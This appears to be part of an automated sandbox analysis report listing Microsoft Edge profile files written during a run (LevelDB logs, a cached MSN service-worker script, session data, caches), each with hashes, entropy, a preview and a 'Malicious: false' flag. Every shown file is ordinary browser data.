Preview:	2024/11/17-22:41:36.999 1e00 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/17-22:41:37.012 1e00 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114471
Entropy (8bit):	5.578321120910949
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKHQcM6kqbPBn:d9LyxPXfOxr1lMe1nL/CL/TXEmilRB
MD5:	E1D7FA7AA2F068556563988394C603D7
SHA1:	DB075A007D218BFFBD3392CA776ED97A74743FD6
SHA-256:	E2C3AB7813E82613F9DA3681FC68C21F68106EA5C7B2BE416FA29A39CC49B378
SHA-512:	9A4293AB5DB5B8E2599D8C2088AEA3937DF32FB1A43A928A81DF929CE636AB30BEADF4099F6835B6D8CC9E4FCA0344B41FCA1636228B628B8862038FA787C978
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188961
Entropy (8bit):	6.386492808798951
Encrypted:	false
SSDEEP:	3072:q8XlQ8nnjM2gMownFRZEcL/r9MGMCZ32BTAz5My1:qXMowzZDL/JxZ3qUug
MD5:	6AB5645048946BF0CFAB31F44026EC15
SHA1:	E461463261E9885A74B3BDFDC0AF0CA4BA17F366
SHA-256:	E7112D5546837CB096585FB849954D52710602BFA6BF9DE50A4CBD4061F5635E
SHA-512:	A87253573F9940BE630C32D9884A5F85D29D918A00B83E755130E0E8173EB72AC79CC05919850830807D12821B41EE9F7CD51A60E294FD95D6C065F96865F9CB
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..........rSG.....0...../...............R.."....yT.........,T.8..`,.....L`.....,T...`......L`......Rc..C0....exports...Rc>..+....module....Rc.vm.....define....Rbr.+.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..1.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....8Z...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Reputation:	unknown
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:ERjXl/lR/lxE0tllQHNKl:EhC0K4l
MD5:	15FE39B4B259CA405DE751C63C383061
SHA1:	F4A133F8C99441683A6FA61FE9224EF7B27B0328
SHA-256:	39E6C182D8CFB2DCCAD3902984C55A32F46E8B1EE97BA4006C53B6D46E84B25E
SHA-512:	91478F8709FE909557F0348EA5D043B41F98613AF6072AD7A8E03CBD86EB48575ABCD3689E968B730C6E191DB2C645570AC06BD8B82EC009EED0B1C2858A1AC7
Malicious:	false
Reputation:	unknown
Preview:	@....ta5oy retne.........................X....,..................).../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:ERjXl/lR/lxE0tllQHNKl:EhC0K4l
MD5:	15FE39B4B259CA405DE751C63C383061
SHA1:	F4A133F8C99441683A6FA61FE9224EF7B27B0328
SHA-256:	39E6C182D8CFB2DCCAD3902984C55A32F46E8B1EE97BA4006C53B6D46E84B25E
SHA-512:	91478F8709FE909557F0348EA5D043B41F98613AF6072AD7A8E03CBD86EB48575ABCD3689E968B730C6E191DB2C645570AC06BD8B82EC009EED0B1C2858A1AC7
Malicious:	false
Reputation:	unknown
Preview:	@....ta5oy retne.........................X....,..................).../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41922.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:ERjXl/lR/lxE0tllQHNKl:EhC0K4l
MD5:	15FE39B4B259CA405DE751C63C383061
SHA1:	F4A133F8C99441683A6FA61FE9224EF7B27B0328
SHA-256:	39E6C182D8CFB2DCCAD3902984C55A32F46E8B1EE97BA4006C53B6D46E84B25E
SHA-512:	91478F8709FE909557F0348EA5D043B41F98613AF6072AD7A8E03CBD86EB48575ABCD3689E968B730C6E191DB2C645570AC06BD8B82EC009EED0B1C2858A1AC7
Malicious:	false
Reputation:	unknown
Preview:	@....ta5oy retne.........................X....,..................).../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5315
Entropy (8bit):	3.4223608084017596
Encrypted:	false
SSDEEP:	96:ac2d69xgeWAx3d5od6nlt19mAUguZu9XT+Wli+VU8okr9H5SLl9iSr/1Vzvr:az3W5S6nP19TUQ9XT+WMKU8Dx5SLl9iI
MD5:	CDC9A5F672F9754E39F9EDD201A089AA
SHA1:	FCAEF043B323FBD90878F76F5C360B4765BE0FB1
SHA-256:	3FC203989A62FBB135A79A247CF6C845F9525A114DED9AD75E2166DCB4D7F30F
SHA-512:	6E814B987DAA5C8311D5CD3F3EB6A18CA793D765B331C5CA7016EAD78B3F49E1506ABD974AE8B9136AB9001A0E37FE626523657452A7E64F64CD75A97AAA7FA9
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................Lb................next-map-id.1.Cnamespace-942d3f98_8712_4f35_bddf_5944f71b3248-https://ntp.msn.com/.0A.hK~................map-0-shd_sweeper.&{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.p.o.f.l.i.o.,.p.r.g.-.c.a.l.-.5.c.o.l.u.m.n.,.d.a.t.a.c.o.l.l.e.c.t.i.o.n.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.n.i.c.h.e.c.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.w.r.f.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.-.l.o.g.m.s.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.p.r.g.-.1.s.w.-.c.-.r.a.i.l.t.o.p.,.p.r.g.-.p.r.1.-.s.v.g.a.n.i.m.a.t.,.p.r.g.-.1.s.w.-.c.-.r.i.v.d.d.r.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.c.,.r.o.u.t.e.f.i.n.a.n.c.e.p.r.o.d.,.r.o.u.t.e.g.r.a.p.h.e.x.p.,.p.r.g.-.a.d.s.p.e.e.k.,.t.r.a.f.f.i.c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.116319088842815
Encrypted:	false
SSDEEP:	6:HUT0DmuSRX9+q2PN723oH+TcwtrQMxIFUt8YUT0DkLJZmw+YUT0Dij39VkwON72n:3DCovVaYebCFUt82Dk9/+2DO5OaYebtJ
MD5:	EDF3D0DA0A7603132E8723CD2DBA161B
SHA1:	BE668AF4C48607A6EA646B5FFBD9A8ED3E09B769
SHA-256:	D6FED509DC9AE26430EE61E7BAF81042400565763D7C0A0D21A5BD0E8BC5AC16
SHA-512:	12F6FF278F4140FDE97C9A590D1D60B5E8CC7DDED370F4C2F8289176E80B1978270F35B41FD3CB985EF445F1F68F84FC9483B70E8CE40B544BAFAA0F509F5D1C
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:26.241 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-22:41:26.243 1748 Recovering log #3.2024/11/17-22:41:26.245 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.116319088842815
Encrypted:	false
SSDEEP:	6:HUT0DmuSRX9+q2PN723oH+TcwtrQMxIFUt8YUT0DkLJZmw+YUT0Dij39VkwON72n:3DCovVaYebCFUt82Dk9/+2DO5OaYebtJ
MD5:	EDF3D0DA0A7603132E8723CD2DBA161B
SHA1:	BE668AF4C48607A6EA646B5FFBD9A8ED3E09B769
SHA-256:	D6FED509DC9AE26430EE61E7BAF81042400565763D7C0A0D21A5BD0E8BC5AC16
SHA-512:	12F6FF278F4140FDE97C9A590D1D60B5E8CC7DDED370F4C2F8289176E80B1978270F35B41FD3CB985EF445F1F68F84FC9483B70E8CE40B544BAFAA0F509F5D1C
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:26.241 1748 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/17-22:41:26.243 1748 Recovering log #3.2024/11/17-22:41:26.245 1748 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376374887760179

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.782937706968947
Encrypted:	false
SSDEEP:	24:32l8C4d4NPIpsAF4unxatLp3X2amEtG1ChqPE1q+6hA8Y5GBQKkOAM4E:3hl2NPIzFMLp2FEkCh/hwU5vHOp
MD5:	C35BDA5D19F5ECE5A4EFCBA314F19BDE
SHA1:	3C3ED979AE030A294EEEE4C46BE523D42829C3D7
SHA-256:	C1E06919823731560C6358A2F8B227472465129618EC1E545B6BB44FF3BE10DB
SHA-512:	7710D9D47BE02B11A49937B4A8C846EA2812D41BD7D329C246A2C967654E31017FAF0BACF41F9E347A60E39F5ADBB8EEC88FC2CF199688969844B22B6369FBA8
Malicious:	false
Reputation:	unknown
Preview:	SNSS.......8z5............8z5......."8z5............8z5........8z5........9z5........9z5.....!..9z5................................8z5.9z5.1..,...9z5.$...942d3f98_8712_4f35_bddf_5944f71b3248...8z5........9z5.....,b.........8z5....8z5........................8z5.....................5..0...8z5.&...{46F3A197-DB49-410A-81B3-94975C835573}.....8z5........8z5...........................9z5............9z5.........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........A..''...A..''.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1181554185085565
Encrypted:	false
SSDEEP:	6:HUT0uPMq2PN723oH+Tcwt7Uh2ghZIFUt8YUT0u+9Zmw+YUT0u+PkwON723oH+Tcz:3uPMvVaYebIhHh2FUt82u+9/+2u+P5On
MD5:	AFCE2390BEC457A1B918A238764A5A54
SHA1:	6F4349A4B51DA617A9F67C64AD81F13A76863A5A
SHA-256:	225110BB9FA4E609FEF507252F8AE35ED564E7D6CA8E2E18AE476EE4A82E9AC9
SHA-512:	1C137B562DF8C6407A3CA0D9F6540A6F54439C437E78C68DDFB729F3BB9F48A003522DB4C487751E0B136EC9968F52EC798D6F4CBB649DE34F331585A2C6222D
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.270 1884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-22:41:25.271 1884 Recovering log #3.2024/11/17-22:41:25.271 1884 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.1181554185085565
Encrypted:	false
SSDEEP:	6:HUT0uPMq2PN723oH+Tcwt7Uh2ghZIFUt8YUT0u+9Zmw+YUT0u+PkwON723oH+Tcz:3uPMvVaYebIhHh2FUt82u+9/+2u+P5On
MD5:	AFCE2390BEC457A1B918A238764A5A54
SHA1:	6F4349A4B51DA617A9F67C64AD81F13A76863A5A
SHA-256:	225110BB9FA4E609FEF507252F8AE35ED564E7D6CA8E2E18AE476EE4A82E9AC9
SHA-512:	1C137B562DF8C6407A3CA0D9F6540A6F54439C437E78C68DDFB729F3BB9F48A003522DB4C487751E0B136EC9968F52EC798D6F4CBB649DE34F331585A2C6222D
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.270 1884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/17-22:41:25.271 1884 Recovering log #3.2024/11/17-22:41:25.271 1884 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.217854015368502
Encrypted:	false
SSDEEP:	12:3DqCHIvVaYebvqBQFUt82DgN/+2Da5OaYebvqBvJ:ToVaYebvZg8mg5EOaYebvk
MD5:	62FCB222AE76BE959156E367FC217321
SHA1:	9AC30600B12826FB295B02BDC5365F57AE333432
SHA-256:	27EEF887DF8E1A4A47CD38EE277A2139931A9116954C189FA37D449D63DC3A30
SHA-512:	2C930AE809A35ADC32F8491209E21463D783F66A7171961D09E1D974BF19DD8E4E6C4F4D7FD2909013888B979758D189050113603D841BA733BF2340661C8C5A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:26.233 d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-22:41:26.247 d64 Recovering log #3.2024/11/17-22:41:26.250 d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	5.217854015368502
Encrypted:	false
SSDEEP:	12:3DqCHIvVaYebvqBQFUt82DgN/+2Da5OaYebvqBvJ:ToVaYebvZg8mg5EOaYebvk
MD5:	62FCB222AE76BE959156E367FC217321
SHA1:	9AC30600B12826FB295B02BDC5365F57AE333432
SHA-256:	27EEF887DF8E1A4A47CD38EE277A2139931A9116954C189FA37D449D63DC3A30
SHA-512:	2C930AE809A35ADC32F8491209E21463D783F66A7171961D09E1D974BF19DD8E4E6C4F4D7FD2909013888B979758D189050113603D841BA733BF2340661C8C5A
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:26.233 d64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/17-22:41:26.247 d64 Recovering log #3.2024/11/17-22:41:26.250 d64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\0a58f7ae-52fa-4b58-aa94-354158f17a3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\10d9b322-af55-482d-9882-8efdd38fcfc3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3834ea27-6580-4ea2-8823-24073bf44898.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5cf90868-3a41-4626-9b63-528294b725de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

